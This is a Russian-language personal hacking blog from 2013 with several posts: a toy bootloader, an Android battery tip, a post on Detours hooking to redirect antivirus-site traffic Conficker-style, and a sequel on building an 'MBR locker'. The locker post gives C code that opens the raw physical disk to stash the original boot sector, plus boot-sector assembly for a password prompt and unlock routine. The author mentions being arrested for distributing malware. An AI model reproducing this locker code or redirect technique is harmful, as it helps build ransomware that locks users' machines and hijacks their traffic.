Общее·количество·просмотров·страницы

четверг, 31 октября 2013 г.

простой загрузчик и ядро

Попробуем написать загрузчик и ядро.Ядром у нас будет обычный битмап.Пишем на fasm, т.к. он позволяет устанавливать код в разных местах сегмента.Т.е. можно написать код стартующий с 7с00, а потом стартующий с 0h.

Для начала подготовим ядро.Что мы знаем о битмапе?он состоит к верху дном проще говоря,по этому и рисовать будем к верху дном.и сохранять в 256 цветах (по 1 байту как раз) и размерами 320*200 пикселей (равному режиму 0x13). получается у меня такая няша:

(фуууу, слабак!)))

далее смотрим по структуре: битмап это тупо рисунок с заголовками и палитрой.Их надо откусить.


-Заголовок файла (BITMAPFILEHEADER)
-Заголовок изображения (BITMAPINFOHEADER, может отсутствовать). BITMAPV4HEADER (Win95, NT4.0) BITMAPV5HEADER (Win98/Me, 2000/XP)
-Палитра (может отсутствовать)

1-й заголовок -14 байт
2-й заголовок -40 байт
палитра - это 256 записей RGB (4 байта) что составит еще 1кб.
всего надо откусить 1078 байт. открываем в любом хекс редакторе и откусываем.

должен получиться размер картинки 64000 байт.

терь собсна код:

первое загрузочный сектор.тут все как "обычно"

USE16

org 7C00h
EntryPoint:
mov ax, cs
cli
mov ss, ax
mov ds, ax
mov es, ax
mov sp, EntryPoint  ; настраиваем сегменты и т.д. и т.п.
sti
cld

push dx ; запоминаем какой диск


mov ax, 3
int 10h

xor dx, dx
mov bx, 15
mov ax, 1301h   ; выдаем , мол все зер гут
mov bp, BootMsg
mov cx, BootMsgEnd - BootMsg 
int 10h
pop dx

mov ax, 9000h  ; сегмент куда будут кидаться данные 
mov es, ax

mov ah, 2 ;2 сектор 
mov al, (KernelEnd - KernelStartCode) / 512 ; кол-во секторов, отведенных под ядро
xor dh, dh
mov cx, 2h
xor bx, bx
int 13h ; читаем 

jc Error
jmp 9000h:0000h ; передаем управление на заданный адрес


Error:
;если ошибка- че то там делаем


BootMsg db "Boot Sector Loaded"
BootMsgEnd:

TIMES 510-($-$$) DB 0
DW 0AA55h

Теперь идет непосредственно ядро:

KernelStart:
org 0h
KernelStartCode:
jmp KernelCode

BootDisk DB ?
KernelMsg db "Kernel Started"
KernelMsgEnd:


; процедура чтения сектора по номеру.
; вход ax= номер сектора
; es:bx= куда кинуть

ReadSectors:
push ax
push cx
cwd
mov cx, 18
div cx
mov cx, dx
inc cx

xor dh, dh
shr ax, 1
rcl dh, 1

mov ch, al
shl ah, 4
or cl, ah

mov dl, [BootDisk]

mov ax, 0201h   
int 13h

pop cx
pop ax
ret

KernelCode:
;извещаем что мы подгрузились

mov [BootDisk], dl
mov dx, 0100h
mov bx, 15
mov ax, 1301h
mov bp, KernelMsg
mov cx, KernelMsgEnd - KernelMsg 
int 10h

xor ax, ax ; ждем нажатия клавиши и устанавливаем режим 320*200*256
int 16h

mov ax, 13h
int 10h

mov ax, 0A000h ; начало непосредственно прямого вывода в видеобуффер 
mov es, ax

xor bx, bx
mov ax, 2
m1:
call ReadSectors ;читаем сектора пока не выведем все
add bx, 512
inc ax
cmp ax, 125
jne m1

xor ax, ax
int 16h ;ждем нажатия и ребутим ПК

jmp 0FFFFh:0000h

  TIMES  0 - ($-KernelStart) mod 512 DB 0 ; уравниваем размеры
KernelEnd:
   file '2.bmp' ; инклюдим наше ядро

Вот собсно и все. проверить как оно работает можно в боше.



ЭХЭХЭ)
ну вот собсно и усе).

А ТЕПЕРЬ БУДЕТ ТАКОЙ СЕ НАБОЛЕВШИЙ ПОСТ СКРИПТУМ))))))))

Я тут размышлял.на самом деле,сегодня уже 31 октября, лето вспоминаю как будто неделю назад,время бежит просто очень быстро, представить трудно что через 8-9 месяцев я буду говорить не "о черт,завтра на пары",а "о черт,завтра на работу", хотя без работы жизнь бы вообще была хер знает какой, если ни деньги ни хера материальное не приносит стимула и удовольствия.Надо искать свою нишу.И надо стараться держать рядом с собой только проверенных и лучших друзей,заниматься своим делом.Играйте музыку, программируйте аццкую хрень,бухайте в конце концов, читайте что нибудь стоящее (лично я прочел некоторые вещи Кафки,хотя еще в школе наотрез отказывался читать это).в общем не теряйте время.

пысышки:
уже целая коллекция гугл нексусов). подумываю 7 поменять на 10 теперь)
а это я учусь)



еще кое что: этот код мы как то давно со slesh-em чудили, он даже где то выкидывал его кажется.однако разобраться че он там грузит и как трудновато,так что я решил (давно хотел)его сюда закинуть и рассказать как применить и как работает).

вторник, 8 октября 2013 г.

Пищать как сучки или легальный перехват

В общем то давно было желание воссоздать технику как всем известного KIDO conficker
http://ru.wikipedia.org/wiki/Conficker (часть про блокировку сайтов АВ разработчиков).
Получилось то, что для делфи все библиотеки что я ощупал (в том числе от Ms-Rem-a) очевидно на сегодняшний день устарели или просто кривые, ибо все крэшилось или нереально лагало при инжекте,а сплайсить в западло было, да и то потом отладкой заниматься долго и весело.Решил раз уж я все равно уделяю какое то время Сям, то почему бы и нет.
Тем более MICRO$OFT сами выпускают для этого БЕСПЛАТНУЮ!(конечно не в комерц. проэктах)"легальную" библиотеку detours!.

Прежде всего я подофигел с того, что для пользования ею , надо (что очень не характерно для шиндовса,скорее для никсов) собирать ее из исходников.На самом деле все просто.я собирал detours 3.0 на 2010 студии (proff).

идем в visual studio tools (папка в пуске).видим такое:
выбираем командную строку.в папку куда установили detours в корень кидаем nmake (идет в любой студии в комплекте)и запускаем там nmake, ждем пока либа и примеры соберутся.

после чего добавляем ее в студию так:

нажимаем на св-ва проекта, дальше:
прописываем путь к либе и усе готово.можно заняться перехватом.
я подумал что просто блокать будет не слишком интересно, а лучше длеать редирект(не плохая идея для траффа, не так ли?))
ну и вот что получилось:

останется лишь сделать разделение ip\domen, главное что работает.советую попробовать либу, для не сверхсложных перехватов, где не нужен дизассемблер длин инструкций и т.д и т.п. (хотя по-моему уже он там есть)отлично подойдет!

ps:
вот так я и стал писать сюда раз в месяц, идея пришла-сделал-ушла)и лень лень лень и еще раз лень.

pss:
спасибо kaimi (http://kaimi.ru/) за консультацию!

psss:
вот люди почему то и спрашивают, почему нету на других ресурсах, а сижу только на форуме antichat.ru. Объясняю:
потому что это пиздец.вы полазьте якобы на "ХАКИРСКИХ" форумах где рассадник школоло которое только понтуется своими супер знаниями,прямо русские\украинские Биллы Гейтсы и Кэвины Митники.А на античате всегда можно найти ответы на свои вопросы, помогут те же kaimi и dx, раньше slesh , gar|k, и еще много людей...конечно на АЧ тоже школоты хватает, но она в основном в болталке да и торговых пытается кинуть кого то на 10$ .по этому грамотные в основе только элита.
единственные еще не плохие порталы rdot.org (тот же античат, просто я не застал каких то там страшных событий из-за чего образовался этот форум, я типа ньюфаг) и wasm.ru.
однако мне не было нужды там регаться, пока что.


pssss:
блеа!я уже опаздываю на учебу, все бб!)


воскресенье, 8 сентября 2013 г.

так,ни о чем

ps
есть некоторые конструктивные планы,наконец взяться за ОС, игру или еще там что то, но из-за бухла,лени и еще короче могу придумать миллион отмазок,нету времени в общем.

А еще перестроился режим из отдыха в учебу, так что будет совсем тяжко,и вообще я скучаю по тому что происходило)





фуууууууууу все это перестает не в технарский блог, а в дневник какой то сопливой девчонки...)


вторник, 3 сентября 2013 г.

Уменьшение расхода батареи андроид.

Давно я не был.К тому же заболел,но накопилось несколько интересных моментов,попробую описать чуть попозже.

Я пришел к выводу, что все эти экономщики батареи в маркете-одинаковые,просто вырубают вафлю,блюпуп и т.д. когда они не используются.Толку то.Андроид сам отключает вифи когда тот не юзается, блютуз не жрет батарею в огромных кол-вах.В основном потребителем является экран,а так же службы запущенные в фоне.

Но и при выключенном экране + еще радиомодуль и поддержка связи жрет.
По этому я провел такой микротест, суть которого состоит к снижению частоты камня.
создал два профиля с помощью setcpu (кажется так называется)-при отключении экрана снижать частоту на максимум.и при 30% батареи снижать до 579 mhz

и вот что получилось: юзался телефон не слабо,видео с тырнета,звонки,серфинг етц..результат я честно говоря заметил не плохой.+ еще советую на ночь включать режим полета(если вы не ждете звонка ночью;))тогда заряд останется почти не тронутым к следующему дню.






среда, 7 августа 2013 г.

Станем хорошими или продолжение mbr locker'a и обо всем-всем-всем)

Well, lets start in order. 02.07.2013 about 7:30 AM, I was arrested by Belarus policemen's.For the creating and distribution malware.Why this happened? 'Cause:
1)Client distributed malware in BY
2)There was XXXXX sum of money (stolen)
3)They are responsible people

It seems I talked in each post in this blog that the material "is used for educational purposes" , and I tell it right now- "FOR EDUCATION PURPOSES". ohh okay..)
but it's okay... I'm free... so, if you read it my friends, I just say "Hello)" to you ho-ho-ho)))

our UA policemen's was so cute ^^ "We got hacker DooD, oh yeah!")))
okay, forgot about it, it wasn't cool.It was like in a matrix.I was.night-hack, day-only student)
night...Massive Attack-dissolved girl)like a matrix)

that all about it.

Later, when I was freed, they gave me my nexus devices, cards, flash drives etc.But harddrive was their.
I have it later, before concert).

That was beautiful 3 days of ROCK))
And some photos;)

Sandra) Guano apes



BI-2


Kristina) Lacuna Coil



 Klaus Meine, Scorpions)




Окей ладно.привет)
Решил я тут завершить уже с mbr lock как бы, что бы у самого не оставалось никаких интересов больше. В общем то по названию поста, станем "хорошими)"Что это значит- сделаем строчку ввода кода,обработку клавиш, ну и разблокировку)

продолжение вот этой http://bydood.blogspot.com/2012/07/mbr-locker.html

ЧТО ЮЗАЛОСЬ:
1)nasm
2)C
3)IDA
4)sourcer
5)bochs

Что я думал в идеале должно быть:
Дроппером должен искаться первый чистый сектор (пускай физического диска) и бэкапиться туда mbr windows(конечно можно там извратиться с его зашифровкой и т.д. и т.п., но у нас наглядно).

int i;

HANDLE hout;

byte buf[512];

byte zerobuf[512]={0} ;

char st[1];

DWORD nr;
hout=CreateFile(TEXT("\\\\.\\PhysicalDrive0"),GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
for (i=0;i<=63;i++)
{
ReadFile(hout,&buf,512,&nr,NULL);
 if (strcmp(buf,zerobuf)==0)
{
_itoa(i,st,10);
MessageBox(0,TEXT("Найден пустой сектор под номером"),st,0);
ExitProcess(0);
}
else
MessageBox(0,0,0,0);
}

CloseHandle(hout);

итак что тут происходит у нас:
может я плохо искал, но как я знаю- побайтово читать сектор нельзя, а даже если и можно то наверное придется извращаться.а мы ленивые,очень.по этому просто зададим массив из 512 нулей (предположим что сектор 512 байт, в 99% это так.В любом случае размер сектора можно выдрать из геометрии диска-GetDiskFreeSpace,например)и будем сравнивать его в цикле с массивом байтов сектора (сектором).если найден такой сектор то помещаем туда mbr windows( в примере выводится сообщение с номером сектора, начиная от 0 само собой).
Дальше как в предыдущей статье, записываемся вместо mbr windows.Насчет того как восстанавливать- есть разные варианты, как пример дроппер может записать номер сектора с оригинальным mbr куда то в другой сектор, а наш mbr будет его оттуда брать,но вообще я не думал об этом.

Ну дальше ассемблер.
Нужно вывести строку про введение кода:

mov ah,0x13
mov al,1
mov bx,15
mov cx,13
mov dx,0x1700
mov bp,strmsg
int 0x10

тут все так же как и 1-й части, только добавим координаты в dx

для более универсального изучения (на самом деле мне было не охота копаться в прерываниях, да и дизасм залежался что то))я решил дизасмнуть какой то локер, скачал его на Рыгхосте.

вижу такое:

понимаю что это набор байт которые пишет дроппер, судя по сигнатуре mbr.
конечно можно нажать code ,но ИДА как то кривовато анализирует бинарники,так что я взял старый,добрый СОРСЕР

и тот выдал мне нехерово подробный листинг =D

ну все равно в прерывания пришлось лезть и вспоминать все эти извраты с клавишами)

mov di,0x8000
jboe: 
xor ah,ah
push di
int 0x16

pop di

будем писать по такому то адресу)тут можно не объяснять)

cmp al,0x08
je bck

jmp tst

bck:

нажали backspace? будем обрабатывать))иначе прыгаем на проверку ввода

mov ah,3
xor bh,bh
int 0x10
cmp dl,0x0D
jbe jboe
Начало строки? (ничего не введено- возврат каретки)- ничего не делаем

mov ah,3
xor bh,bh
int 0x10

dec dl

mov ah,2
xor bh,bh
int 0x10

считали курсор-декрементируем позицию и устанавливаем курсор.

mov al,' '
mov ah,0xA
int 0x10

записываем пробел.

xor bh,bh
mov ah,2
int 0x10

dec di

jmp jboe

устанавливаем курсор-и снова на ввод.

это был только "обработчик события") клавиши backspace
тут начинается проверка:

tst:
cmp al,0x0D
jnz char

этнэр?-проверка разрешимых символов и вывод

mov si,psw
mov di,0x8000
xor ch,ch
mov cl,6
repe cmpsb
jz ent

сравниваем введенные символы по адресу с строкой по адресу.
И да да, начнется бугурт- типа пароль в открытом виде хули там его искать тыры-пыры- снова повторюсь-для наглядности, пароль можно зашифровать и расшифровывать на лету, можно заныкать в другой сектор, и т.д. и т.п.

если ввели правильно (тут идет первые 6, то что мне кол-во впадлу было обрабатывать)
то переходим к процедуре возврата сектора.

pushad

mov ah,2
xor bh,bh
mov dx,0x170C
int 0x10

mov ax,0x0A20
mov cx,80
int 0x10

mov ah,0x13
mov al,1
mov bx,2
mov cx,5
mov dx,0x1800
mov bp,err
int 0x10 

mov ah,2
xor bh,bh
mov dx,0x170D
int 0x10
popad 
mov di,0x8000
jmp jboe


иначе-сохраним все базовые регистры, установим курсор в позицию, запишем 80 пробелов (так проще что бы не перерисовывать экран) и выдадим сообщение о ошибке, после чего отправим снова на ввод)))

Теперь будем проверять что бы юзвер не жмакал то что нам не угодно:

cmp al,'0'
jc jboe
cmp al,'9'
ja jboe
stosb
mov ah,0x00E
push di
int 0x10
pop di
jmp jboe

буквы,символы етц- нахер. только цифры))
и пишем их на экранчике,снова и снова, и снова, и снова)))

И ВОТ, такие моменты в исполнении Виктора Зангиева бывают очень опасны) (ладно что то я бушидо пересмотрел, не ну ,а что, сухое повествование тоже не кайф;))

дошли до разблокировки:

ent:

mov ax,03
int 0x10

mov ax,0x1301
mov bx,0xC
mov cx,93
xor dx,dx
mov bp,yes
int 0x10

xor ax,ax
int 0x16
jmp 0xFFFF:0x0000

очищаем дисплей, пишем наше послание пользователю))
(перед прерыванием клавиатуры, понятно должна быть процедура восстановления оригинального mbr и передачи управления на него, но я это уже делал, так что мне лень, можно тут поискать в споте как это делается)
просим нажать что то и делаем програмный ребут (все еще ж в реальном режиме)))

ну вот в общем то как бы и все))

теперь можно поглазеть как это работает, да и к тому же как настроить борщ для более-менее вменяемой отладки) (эмулировал на флопаре, ибо суть не меняется вообще, а настраивать АТА как то не охота было))

видео

Вот и сказочке конец господа.Через пару деньков поеду на морэ подъотдохну слегка, а потом продолжу копошиться с bios bootkit) да да такая интересная параша, nitin и vipin рулят))хотя еще покопошусь в коде wolfenstein 3D 1992 (кармак шикарный программер,у таких учиться надо,заодно по Сям подтянусь немножко) ну и в следующий, неизвестно когда раз, поговорим о восстановлении таблиц разделов из-за подлых mbr lock- ов.

бай бай.

PS: о стоп надо оставить немного музыки)

http://www.youtube.com/watch?v=GAiceRuLX1I
http://www.youtube.com/watch?v=KDwgQyJ_uzg
http://www.youtube.com/watch?v=Rgl_9ZVTQKk